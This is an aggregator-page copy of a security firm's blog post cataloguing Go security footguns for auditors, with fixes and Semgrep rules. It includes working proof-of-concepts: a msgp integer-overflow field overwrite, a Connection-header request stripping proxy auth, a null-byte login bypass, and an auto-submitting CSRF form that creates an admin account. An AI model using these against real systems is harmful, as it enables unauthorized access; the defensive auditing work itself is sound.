惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

I
InfoQ
D
DataBreaches.Net
Engineering at Meta
Engineering at Meta
GbyAI
GbyAI
Martin Fowler
Martin Fowler
Security Latest
Security Latest
Cisco Talos Blog
Cisco Talos Blog
MongoDB | Blog
MongoDB | Blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
IT之家
IT之家
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
S
Security Affairs
www.infosecurity-magazine.com
www.infosecurity-magazine.com
博客园_首页
L
LINUX DO - 最新话题
Know Your Adversary
Know Your Adversary
S
Schneier on Security
The Last Watchdog
The Last Watchdog
Attack and Defense Labs
Attack and Defense Labs
T
Tenable Blog
G
GRAHAM CLULEY
Y
Y Combinator Blog
P
Palo Alto Networks Blog
L
LINUX DO - 热门话题
Hugging Face - Blog
Hugging Face - Blog
W
WeLiveSecurity
C
Cybersecurity and Infrastructure Security Agency CISA
aimingoo的专栏
aimingoo的专栏
博客园 - 司徒正美
The Register - Security
The Register - Security
T
The Exploit Database - CXSecurity.com
MyScale Blog
MyScale Blog
M
MIT News - Artificial intelligence
Cyberwarzone
Cyberwarzone
雷峰网
雷峰网
T
Tailwind CSS Blog
V2EX - 技术
V2EX - 技术
T
Threat Research - Cisco Blogs
S
Secure Thoughts
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
O
OpenAI News
C
Cyber Attacks, Cyber Crime and Cyber Security
The Cloudflare Blog
量子位
Apple Machine Learning Research
Apple Machine Learning Research
T
Threatpost
S
SegmentFault 最新的问题
小众软件
小众软件
Google DeepMind News
Google DeepMind News
Help Net Security
Help Net Security

Lobsters

CIFSwitch: a non-universal Linux local root vulnerability RIPE NCC session fixation: poaching logins with an Atlas probe GNOME 2.20 but its Web Components Agentic Search for Context Engineering – Leonie Monigatti Garnix is shutting down [not OC] akashina.tngl.sh/jjc Concerning Emacs (and Jazz) Nitpicking the shell history scene in ‘Tron: Legacy’ What's cooking on SourceHut? Q2 2026 The tenth OpenPGP email summit Package managers that package package managers Clojure on Fennel part three: parsing WordPress at 23 Finding Miscompiles for Fun, Not Profit GitHub - creusot-rs/creusot: Creusot helps you prove your Rust code is correct. Announcing Rust 1.96.0 | Rust Blog A Love Letter to Neovim sqlite AGENTS.md Am I a Bad Friend? CSS vs. JavaScript • Josh W. Comeau Erlang Ecosystem Foundation - Supporting the BEAM community A brief note about slot access cost in Common Lisp Keyboard latency probe Rethinking the GNOME clipboard issues Back to the Building Blocks’ Building Blocks Tech Notes: Theseus: translating win32 to wasm Fast is better than slow Content-addressed Rust builds (or, what kache actually caches) Intent to Prototype: Embedding API Canada’s Bill C-22 and the security cost of collecting more data 5 PostgreSQL locking behaviors that trip people up okmij.org Stop advertising in your commits! | AksDev GitHub - mplsllc/macsurf: A modern web browser for Classic Mac OS 9 PowerPC. Real CSS3, ES5 JavaScript, native HTTPS — built with CodeWarrior on the Carbon API. Introducing DoomBench - Can Your Data Stack Run DOOM? What are some of your favourite developer tools? Building a Scalable Ingestion Pipeline with Temporal (Part 1) Converting shallow Git bundles into normal repositories Are you a member of any professional associations? What is a harmonic? An interactive comic about additive synthesis How Virtual Tables Work in the Itanium C++ ABI Using SwiftUI to Build a Mac-assed App in 2026 Rust (and Slint) on a jailbroken Kindle. ~jack/lambda-on-lambda - Serverless Haskell on AWS - sourcehut git Human proof for FOSS contributions Extremely simple internet radio controlled via IRC Announcing BABLR Splitting Konsole views from Helix to run tools | AksDev GitHub - yugr/rust-slides Serving files over HTTP three ways: synchronous, epoll, and io_uring update docs with information about building with build.py (#979) · astral-sh/python-build-standalone@c9c40c5 A Simple Makefile Tutorial On C extensions, portability, and alternative compilers Switching to Colemak | Pedro Alves Just How Bad Was The Intel IAPX432? Nix's Substituter List Is Not a Routing Table Accelerating copy_if using SIMD Lambda on Lambda: Serverless Haskell on AWS | Blog Announcing feed-repeat v1.0 Scaling Akvorado BMP RIB with sharding EYG news: A host of CLI improvements, new guides and new effects The social contract of writing JS Crossword C array types are weird; and related topics Flatpak will depend on systemd – OSnews Migrating from Go to Rust | corrode Rust Consulting A portentous reunion Vivado Licensing Options How my minimal, memory-safe Go rsync steers clear of vulnerabilities the entropy layer of a wavelet codec, on its own GitHub - nferhat/fht-compositor: A dynamic tiling Wayland compositor. Debian SE Linux and PinTheft Does bulk memmove speed up std::remove_if? (No.) 声明式部分更新 | Blog | Chrome for Developers Fully in-browser container builds Dianne Skoll's Web Site - Remind The Architecture of Open Source Applications (Volume 1)Berkeley DB Pardon MIE? - ironPeak Blog “Long-Term Support” doesn’t mean what you think Jira IS Turing-Complete May I recommend thinking of Emacs as your Fortress of Solitude hershey Floodgap Gopher-HTTP gateway gopher://thelambdalab.xyz/1cuneiforth/ HP QuickWeb, Singular And Pointless That one time I used Go panics for flow control A new suite of modern tools coming for editing and publishing RFCs From the Tabletop… The Digital Antiquarian Building a Host-Tuned GCC to Make GCC Compile Faster Are we self-sovereign PKI yet? Claw Patrol: an open-source security firewall for agents | Deno Revised^7 Report on Scheme, Large: Procedural Fascicle Draft is now public A Network Allow-List Won't Stop Exfiltration — André Graf From AFSK to Goertzel – µArt.cz Software For My New Home Server Introducing Neptune: Direct3D virtualization for QEMU AI Agent Bankrupted Their Operator While Trying to Scan DN42 - Lan Tian @ Blog mimalloc: A new, high-performance, scalable memory allocator for the modern era Making wl_shm fast The Soul of Maintaining a New Machine - Third Draft | Books in Progress What is Git made of?
Golang code review notes II
Zoltan Madarassy · 2026-06-03 · via Lobsters

Introduction

A couple of years ago we published a blog post with the intention to create a resource that code auditors and security-minded engineers can refer to when auditing or developing Golang projects.

In that post we covered some bug classes that we have often seen during our own Golang code auditing projects.

Thanks to the second law of thermodynamics time only keeps moving forward, and as any decently supported modern programming language, Go has seen a lot of changes and improvements since our first blog post.

So we decided to create this follow-up post with the same idea in mind.

Since out first post, automated tooling and AI assistants have raised the floor for code review: a lot of the obvious bugs now get caught on the first pass, by anyone. But that floor is also where most reviewers stop, because the tooling stops there too — the rules only flag what they already know to look for. What separates an experienced auditor is knowing the language's sharp edges that no rule covers yet, and going looking for them deliberately.

In this post, first we will start with a quick look at what changes have been made to the language to make security easier and more intuitive for folks (with no particular selection criteria on what we're going to cover).

Then we have a bunch of new footguns we would like to highlight, hopefully to the benefit of everyone auditing or developing Golang projects.

Finally, we are also releasing a couple of semgrep rules to close the gap regarding these risky coding patterns.

The rules can be found in our Semgrep rules repository.

With the introduction out of the way, first let's see what are some of the features that were introduced Golang with a major impact on its security landscape.

Previously in Goland

To start with something that is mildly concerning, pretty much everything from our previous blog post is still valid in 2026 - with one major caveat.

While path traversal is still a very real thing, over a year ago the release of Go 1.24  introduced a new set of APIs called os.Root.

Without repeating too much of what is very well explained in the Go team's blog post, these APIs are meant to stop path traversal altogether by creating a root directory and on the framework level disallowing reads and writes past this point. Everything below the root is still available, including child directories and symlinks (as long as they stay within the root).

While this is a very useful feature it wasn't without teething problems; however these were quickly fixed in Go 1.25.

In a similar fashion, the Go team has just concluded their math/rand improvement era that ran over the course of Go 1.20 to 1.26 (which is the current version at the time of publishing).

Go went from "passing nil to rsa.GenerateKey is silently catastrophic" to "it doesn't matter what you pass, the function will do the right thing."

This was achieved by tidying up math/rand to the point where developers have an explicit choice between PRNG and crypto/rand - as opposed to manually seeded generators, which are completely gone from the library at this point.

Additionally, the footgun of accidentally using an unsafe random when generating private keys has been removed by making sure that these functions ignore any io.Reader's passed to them and just use a secure internal random unconditionally.

Footguns

Ok, that's enough preamble, time to dig into the actual footguns.

The subsections below highlight a handful of them, focusing on standard library features.

Recently the toolchain around Go has also seen a fair bit of security improvements due to increased scrutiny, however those will have to wait until part 3 of this blog post series.

Additionally, we are also not going to focus on popular third-party frameworks, only standard library features at this point.

Silent Integer Overflows

Unlike most other languages Go's int and uint type have no fixed width - they are set at compilation time to the target: 64 bits on amd64 and arm64, 32 bits on 386, arm and WebAssembly.

This is a design choice in order to make efficient sizing choices; however because Go is cross-compilable this means that unless the developer is careful they could make wrong assumptions about the size of integers.

Go silently permits integer overflow and underflow without any runtime error or panic, which can introduce subtle and severe security vulnerabilities when not accounted for by developers.

As an example, strconv.Atoi, the classic string to integer conversion function returns a plain int, which means its range is quietly architecture-dependent.

While strconv.Atoi will error if the returning int is outside of its range, this can still cause silent wrapping issues downstream.

Paul Gerste's DEF CON 32 presentation, "SQL Injection Isn't Dead: Smuggling Queries at the Protocol Level", demonstrates the real-world impact of this issue.

Gerste identified several integer overflows in Go database driver libraries that enabled overflowing the length field for the corresponding wire protocol.

By overflowing length field, he was then able to demonstrate injecting new queries when the packet was sent to the backend database.

This class of vulnerability is not isolated to database drivers.

Integer overflows are a recurring problem in Go data serialisation libraries, where the length of an attribute is derived from an untrusted input that can result in the misinterpretation of data structure boundaries.

Take for example the github.com/tinylib/msgp package that implements the MessagePack binary serialisation format, where the specification states that the maximum length for Binary, String, Array and Map objects is (2^32)-1 bytes long.

A mistake that was found in github.com/tinylib/msgp was that they used Go's len function to retrieve the length of data to be serialised that was then cast using uint32(), as shown in the following code snippet.

github.com/tinylib/msgp@v1.5.0 - msgp/write.go


// WriteString writes a messagepack string to the writer.
// (This is NOT an implementation of io.StringWriter)
func (mw *Writer) WriteString(s string) error {
  sz := uint32(len(s)) <1>
  var err error
  switch {
  case sz <= 31:
    err = mw.push(wfixstr(uint8(sz)))
  case sz <= math.MaxUint8:
    err = mw.prefix8(mstr8, uint8(sz))
  case sz <= math.MaxUint16:
    err = mw.prefix16(mstr16, uint16(sz))
  default:
    err = mw.prefix32(mstr32, sz)
  }
  if err != nil {
    return err
  }
  return mw.writeString(s) <2>
}

① Length of the input was string was cast using uint32().

② Writes the full length of the string and is not restricted to sz.

Go's len function returns a int type where int is a signed integer that is at least 32 bits in size, but on 64-bit systems it returns a 64-bit signed integer.

This enabled overflowing the length field that enables manipulating other sections of the data structure during the deserialisation process, as demonstrated in the following code and terminal output.

Example proof-of-concept using github.com/tinylib/msgp@v1.5.0


//go:generate msgp

package main

import (
  "bytes"
  "fmt"
  "log"
  "strings"

  "github.com/tinylib/msgp/msgp"
)

//msgp:tuple Example
type Example struct {
  UserInput   string
  NoUserInput string
}

func MsgPackDemo(userInput string) {
  original := Example{
    UserInput:   userInput,
    NoUserInput: "user should not be able to overwrite this",
  }

  // Serialise
  var buf bytes.Buffer
  w := msgp.NewWriter(&buf)
  if err := original.EncodeMsg(w); err != nil {
    log.Fatalf("failed to serialise: %v", err)
  }
  if err := w.Flush(); err != nil {
    log.Fatalf("failed to flush writer: %v", err)
  }

  fmt.Printf("original.NoUserInput: %s\n", original.NoUserInput)

  // Deserialise
  var deserialised Example
  r := msgp.NewReader(&buf)
  if err := deserialised.DecodeMsg(r); err != nil {
    log.Fatalf("failed to deserialise: %v", err)
  }

  fmt.Printf("Deserialised struct: %+v\n\n", deserialised)
}

func main() {
  fmt.Println("demo normal use")
  MsgPackDemo("normal user")

  fmt.Println("demo int overflow")
  // \xd9 corresponds to a string with an 8-bit length prefix
  // \x12 is the length of the following string
  overflowString := "\xd9\x12HACKER OVERWRITTEN"
  overflowAmount := (1 << 32) - len(overflowString)
  MsgPackDemo("hacker" + overflowString + strings.Repeat("A", overflowAmount))
}

Output for the above code


$ go build && ./msgpoverflow
demo normal use
original.NoUserInput: user should not be able to overwrite this
Deserialised struct: {UserInput:normal user NoUserInput:user should not be able to overwrite this}

demo int overflow
original.NoUserInput: user should not be able to overwrite this
Deserialised struct: {UserInput:hacker NoUserInput:HACKER OVERWRITTEN}

To help address silent integer overflows, Trail of Bits have released go-panikint, an open-source tool that detects silent arithmetic overflows in Go programs at runtime.

Removal of Headers by ReverseProxy

As almost everything in Internet-world, HTTP headers are defined by a couple of RFCs - how accurately different implementations respect these is a whole other discussion.

One of the RFCs that is relevant for our current interests is RFC 2616, which defines a list of hop-by-hop headers.

These headers are - as the name suggests - only meaningful for a single connection, and as such should not be forwarded by proxies.

As a side note, while this RFC is now obsolete and was replaced by the one described below, there are still legacy code that respect this standard.

To make things "simpler", there is a newer RFC - RFC 7230, which is meant to replace RFC 2616 - that defines the Connection: header which should signal next hop recipients which headers are hop-by-hop and thus should be removed before forwarding the message.

Now to tie this to our Golang adventures: Go has a reverse proxy in the standard library, which can be found under httputil.ReverseProxy.

This reverse proxy is such a teacher's pet that it respects **both** RFCs, which is exactly the source of confusion.

The module also has a `Director` function which can be used to manage incoming requests.

A quick summary of how things works is really well explained in the GitHub issue outlining this footgun, but here it is copied verbatim:

  1. Clone the incoming request to produce an outbound request, outreq.
  2. Pass outreq to the Director function, which may modify it.
  3. Remove hop-by-hop headers from outreq.
  4. Send outreq to the backend.

Now let's consider the following code:


proxy := &httputil.ReverseProxy{
  Director: func(req *http.Request) {
    req.URL.Scheme = "http"
    req.URL.Host = "internal-backend:8080"

    // Director adds this header to authenticate the request to the backend.
    req.Header.Set("X-Internal-Auth", os.Getenv("BACKEND_SECRET"))

    // The director also adds this header to enforce transport security even in the backend.
    req.Header.Set("X-Forwarded-Proto", "https")
  },
}

If an attacker knows these header names and specifies them in the Connection: header in a malicious request, they can force the authentication or transport encryption to be dropped:


# Attacker's request — names the Director-added header as hop-by-hop:
GET /admin HTTP/1.1
Host: proxy.example.com
Connection: X-Internal-Auth
X-Internal-Auth: anything

While this is definitely an edge case, it's real enough to have caused advisories to be issued in the past: Hop-by-hop abuse to malform header mutator in Ory Oathkeeper.

The good news is that in Go 1.26 the Director function has been deprecated in favour of the Rewrite function, which receives the request after the hop-by-hop headers have been removed, making it a safe by default choice:


proxy := &httputil.ReverseProxy{
  Rewrite: func(req *httputil.ProxyRequest) {
    req.SetURL(&url.URL{Scheme: "http", Host: "internal-backend:8080"})
    req.Out.Header.Set("X-Internal-Auth", os.Getenv("BACKEND_SECRET"))
    req.SetXForwarded()
  },
}

However, the Director was not removed for backwards compatibility, so any projects still using it remain vulnerable.

Mutating net/url Structs

The next footgun is a subtle one.

Sometimes we need to create a copy of a net/url struct when we are doing some processing on the URL but don't want the original struct to change.

So we would do something like this:


var redirectURL, _ = url.Parse("https://auth.example.com/callback")

func main() {
  http.ListenAndServe(":8080", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    u := redirectURL

    q := u.Query()

    token, err := getRedirectToken(r)
    if err != nil {
      q.Set("error", err.Error())
    } else {
      q.Set("token", token)
    }

    u.RawQuery = q.Encode()

    http.Redirect(w, r, u.String(), http.StatusFound)
  }))
}

Seems fine at first.

But the problem is that u := redirectURL is not a copy of the struct as we'd expect, we are just copying a pointer.

So when we try to write to the "copy", such as u.RawQuery = q.Encode(), we are actually writing to the original struct!

This is a race condition and could result in security issues.

We could not find any publicly disclosed vulnerabilities as a direct result of this pattern, probably due to the following:

  • The race window can be quite narrow.
  • The Go toolchain's -race flag should catch this with a decent test suite.
  • A vulnerable application would need to store the url struct in a shared state and mutate it at the same time, which is a developer mistake on top of a footgun.

However, we wanted to include this pattern as it is still a live footgun in Go.

A safe pattern would be to dereference the pointer to copy the actual struct such as: u := *redirectURL

Or to create a fresh struct with only the relevant fields copied:


u := &url.URL{
  Scheme: redirectURL.Scheme,
  Host:   redirectURL.Host,
  Path:   redirectURL.Path,
}

Null Byte Authentication Bypass

Go strings are length-delimited byte slices. Unlike C, there is no null terminator, and no character is special — a Go string can contain \x00 anywhere and the language will handle it correctly.

(As a side note, if you ever looked at a compiled Go binary and tried to find strings without tools, and haven't lost your sanity, I salute you.)

So len("admin\x00evil") will return 12, and "admin\x00evil" == "admin" will be false.

The footgun manifests at the boundary between Go and anything that uses C-style null-terminated strings: CGO, PAM, LDAP clients, database drivers with a C layer, or any system call that accepts a path or credential.

At that boundary, the string is silently truncated at the first null byte, and the Go layer is none the wiser.

Consider this classic authentication logic:


// Application blocks direct admin login at the Go layer,
// then delegates actual credential verification to a C-based auth library.
func login(username, password string) (bool, error) {
  // Blocklist: prevent authenticating as privileged accounts.
  if username == "admin" || username == "root" {
    return false, errors.New("direct admin login disabled")
  }

  // Passes username and password to a CGO-wrapped PAM or LDAP library.
  return cVerifyCredentials(username, password)
}

An attacker submits the username admin\x00 with the admin password. Go's equality check "admin\x00" == "admin" evaluates to false and the blocklist is bypassed.

The string is then passed to the underlying C library, which reads characters until it hits the null byte and sees the username as admin.

The C library authenticates the request against the admin account and returns success.

The Go application, which stored the full admin\x00 string in the session, may then make further decisions based on the raw string — decisions that other parts of the system, also going through C, resolve as admin.

The same class of bug appears in path handling, SQL identifiers passed via C drivers, and LDAP filter construction. Go's own file I/O is not affected — the syscall package rejects strings containing null bytes for path arguments — but any code that calls into C with a user-controlled string is potentially vulnerable.

The fix is to reject null bytes at trust boundaries before they reach any interop layer:


func login(username, password string) (bool, error) {
  if strings.ContainsRune(username, 0) || strings.ContainsRune(password, 0) {
    return false, errors.New("invalid credentials")
  }
  if username == "admin" || username == "root" {
    return false, errors.New("direct admin login disabled")
  }
  return cVerifyCredentials(username, password)
}

The broader principle is that Go's correct handling of null bytes does not protect you from the systems you interoperate with. Any string that crosses a CGO boundary should be treated as a C string for validation purposes, regardless of how Go itself would interpret it.

Inconsistent JSON Marshalling

This next one will go a bit deeper into how Go works under the hood, but it is an interesting footgun so it should be worth following along.

The encoding/json package marshals custom types by checking whether they implement the json.Marshaler interface — specifically, whether they have a MarshalJSON() ([]byte, error) method.

The subtlety is in the method set rules: a method defined on a pointer receiver *T is only in the method set of *T, not of T.

A value of type T does not satisfy json.Marshaler even if *T does.

Most of the time this difference is invisible because the compiler automatically takes the address of addressable values when calling pointer-receiver methods.

The encoding/json package uses reflection however, not direct method calls, and reflection follows the method set rules strictly.

The result is that encoding a struct by value silently skips the custom marshaller on any field whose type uses a pointer receiver, while encoding a pointer to the same struct calls it correctly.

Ok, that was pretty dense, so let's look at an example:


type RedactedToken string

// Intended to prevent tokens from appearing in logs or API responses.
func (t *RedactedToken) MarshalJSON() ([]byte, error) {
  return []byte(`"[redacted]"`), nil
}

type Session struct {
  UserID string
  Token  RedactedToken
}

func handler(w http.ResponseWriter, r *http.Request) {
  sess := Session{UserID: "u_123", Token: "sk_live_abc123secret"}

  // {"UserID":"u_123","Token":"sk_live_abc123secret"}
  json.NewEncoder(w).Encode(sess) <1>
  // {"UserID":"u_123","Token":"[redacted]"}
  json.NewEncoder(w).Encode(&sess) <2>
}

① This call encodes sess by value. The json package sees the Token field as type RedactedToken, checks whether RedactedToken implements json.Marshaler but it does not (only *RedactedToken does), so it falls back to default string marshalling. The raw token is written to the response.

② This call encodes &sess; the package now encounters *RedactedToken using its reflection mechanism, which satisfies the interface, and the custom marshaller runs.

An engineer who tests with &sess and ships with sess, or receives a Session by value from a function and immediately encodes it will never see a test failure, because the output is valid JSON either way.

A security impact is present where custom marshallers are used for sanitisation: redacting credentials and PII from logs, masking card numbers in API responses, omitting internal fields from public endpoints.

All of those guarantees silently disappear when the containing struct is passed or encoded by value.

The fix is to make the receiver consistent with how the type will actually be encoded — either define MarshalJSON on the value receiver so it is in the method set of both T and *T, or store the field as a pointer (*RedactedToken) so the package always encounters the pointer type during reflection:


  // Option 1: value receiver — satisfies json.Marshaler for both T and *T.
  func (t RedactedToken) MarshalJSON() ([]byte, error) {
      return []byte(`"[redacted]"`), nil
  }

  // Option 2: store as pointer in the struct.
  type Session struct {
      UserID string
      Token  *RedactedToken
  }

The underlying issue has been open since 2017 and remains unresolved.

It is the kind of bug that passes code review cleanly, produces no compiler warning, and only surfaces when the wrong call site is reached in production — at which point the sensitive data has already been serialised.

CSRF Misconfigurations

Cross-Site Request Forgery (CSRF) is a type of web security vulnerability where an attacker tricks a user’s browser into making an unwanted request to a website where the user is already authenticated.

CSRF issues have been a well-known vulnerability class for decades that are rarely observed lately due to security awareness and better protections, yet recent CSRF issues we have discovered have been in Golang web applications with a JSON REST API.

The root cause for these CSRF issues were due to the following conditions:

Missing net/http.CrossOriginProtection Protection

Golang introduced net/http.CrossOriginProtection in go v1.25.0, which is used as a wrapper around handlers that detects either the Sec-Fetch-Site request header or compares the Origin and Host headers to prevent CSRF attacks.

However, this is a recent addition to golang and most web frameworks and applications do not utilise this protection mechanism, either implementing their own CSRF checks or ignoring CSRF as a bug class.

Not Validating the Content-Type Request Header

Developers commonly assume that JSON API endpoints mitigate against CSRF attacks, due to browsers sending a preflight OPTIONS request for application/json content type request bodies.

However, a common oversight we have observed is validating the Content-Type request header when using the net/http server or other minimalistic web framework - such as go-chi.

Forgetting to validate the Content-Type request header enables the use of the text/plain or application/x-www-form-urlencoded content types to bypass preflight OPTIONS request for a cross-site request.

SameSite=None Attribute Set on a Session Cookie

A session cookie was set with the SameSite=None attribute, which enables the inclusion of the cookie in cross-site requests.

While this is a well-known misconfiguration, a footgun that we have identified in a popular dependency is that github.com/gorilla/sessions session manager sets the SameSite=None attribute by default, as shown in the following code snippet.

github.com/gorilla/sessions@v1.4.0 - store.go


func NewCookieStore(keyPairs ...[]byte) *CookieStore {
  cs := &CookieStore{
    Codecs: securecookie.CodecsFromPairs(keyPairs...),
    Options: &Options{
      Path:     "/",
      MaxAge:   86400 * 30,
      SameSite: http.SameSiteNoneMode, <1>
      Secure:   true,
    },
  }

  cs.MaxAge(cs.Options.MaxAge)
  return cs
}

① Sets the default SameSite attribute for session cookies to None.

Parsing Quirks with encoding/json

The encoding/json package ignores trailing bytes after parsing a JSON document.

This can be combined with a missing Content-Type validation check to build a text/plain CSRF form attack that is then parsed as a valid JSON request body.

To demonstrate these footguns, a go-chi web application was developed that had the following endpoint that was only accessible to an admin user.


type User struct {
  ID       int    `json:"id"`
  Username string `json:"username"`
  Email    string `json:"email"`
  Password string `json:"password"`
}

var users = []User{
  {ID: 1, Username: "admin", Email: "admin@csrf.demo", Password: "supersecurepassword"},
}

func CreateUserHandler(w http.ResponseWriter, r *http.Request) {
  var newUser User

  // uses encoding/json for unmarshaling the request body
  decoder := json.NewDecoder(r.Body)
  decoder.DisallowUnknownFields()
  err := decoder.Decode(&newUser)
  if err != nil {
    http.Error(w, "Invalid request payload", http.StatusBadRequest)
    return
  }

  newUser.ID = len(users) + 1
  users = append(users, newUser)

  w.Header().Set("Content-Type", "application/json")
  w.WriteHeader(http.StatusCreated)

  newUser.Password = ""
  json.NewEncoder(w).Encode(newUser)
}

Cookie session management was handled using github.com/gorilla/sessions with default settings, as shown in the following code snippet for initialising a user's session.


session, _ := store.Get(r, "session")

session.Values["user_id"] = foundUser.ID
session.Values["authenticated"] = true

err = session.Save(r, w)

The below CSRF proof-of-concept performs a form POST attack that is encoded as text/plain, but the body is parsed as valid JSON as shown in the following request and response.


<html>
  <body>
    <form action="http://127.0.0.1:3000/api/users" method="POST" enctype="text/plain">
      <input type="hidden" name='{"username":"csrf.admin", "email":"csrf.admin@hacker.local","password":"hackerpassword"}' value='' />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

The sent CSRF request contains a trailing =, but the json.Decoder would ignore the trailing byte


POST /api/users HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:150.0) Gecko/20100101 Firefox/150.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain
Content-Length: 91
Origin: http://evil.local:1337
Connection: keep-alive
Referer: http://evil.local:1337/
Cookie: session=MTc3ODY4Mzk4MHxEWDhFQVFMX2dBQUJFQUVRQUFCYl80QUFBd1p6ZEhKcGJtY01DUUFIZFhObGNsOXBaQU5wYm5RRUFnQUNCbk4wY21sdVp3d1BBQTFoZFhSb1pXNTBhV05oZEdWa0JHSnZiMndDQWdBQkJuTjBjbWx1Wnd3S0FBaHBjMTloWkcxcGJnUmliMjlzQWdJQUFRPT18WjL7Lol1_I4u0TS4jHeSGadwpDCUWLcZ2KhEmjbRYoM=
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i

{"username":"csrf.admin", "email":"csrf.admin@hacker.local","password":"hackerpassword"}=

Response for the above attack, confirming the exploitation of the CSRF issue


HTTP/1.1 201 Created
Content-Type: application/json
Date: Wed, 13 May 2026 14:53:02 GMT
Content-Length: 81

{
    "id": 2,
    "username": "csrf.admin",
    "email": "csrf.admin@hacker.local",
    "password": ""
}

Conclusions

While this is still not the complete picture of footguns in Go, we hope this post will further serve as a resource for security auditors and engineers to things to look out for in their projects.

We also hope that the Semgrep rules we're releasing with this blog post will be useful to find some beautifully obscure bugs.

As we can see, Go is an ever-changing language, with a lot of positive things happening in its security space.

However, it is also a language made by humans, which means there will be interesting and potentially dangerous patterns that developers need to look out for.

Here at elttam we live in this grey area, and we love to find these nuggets of weird code constructs.

Next time we will look at Go's toolchain and some of the most popular Go projects, as it is not just the standard library that can hold dangers, but the wider ecosystem around Go with its ever increasing complexity.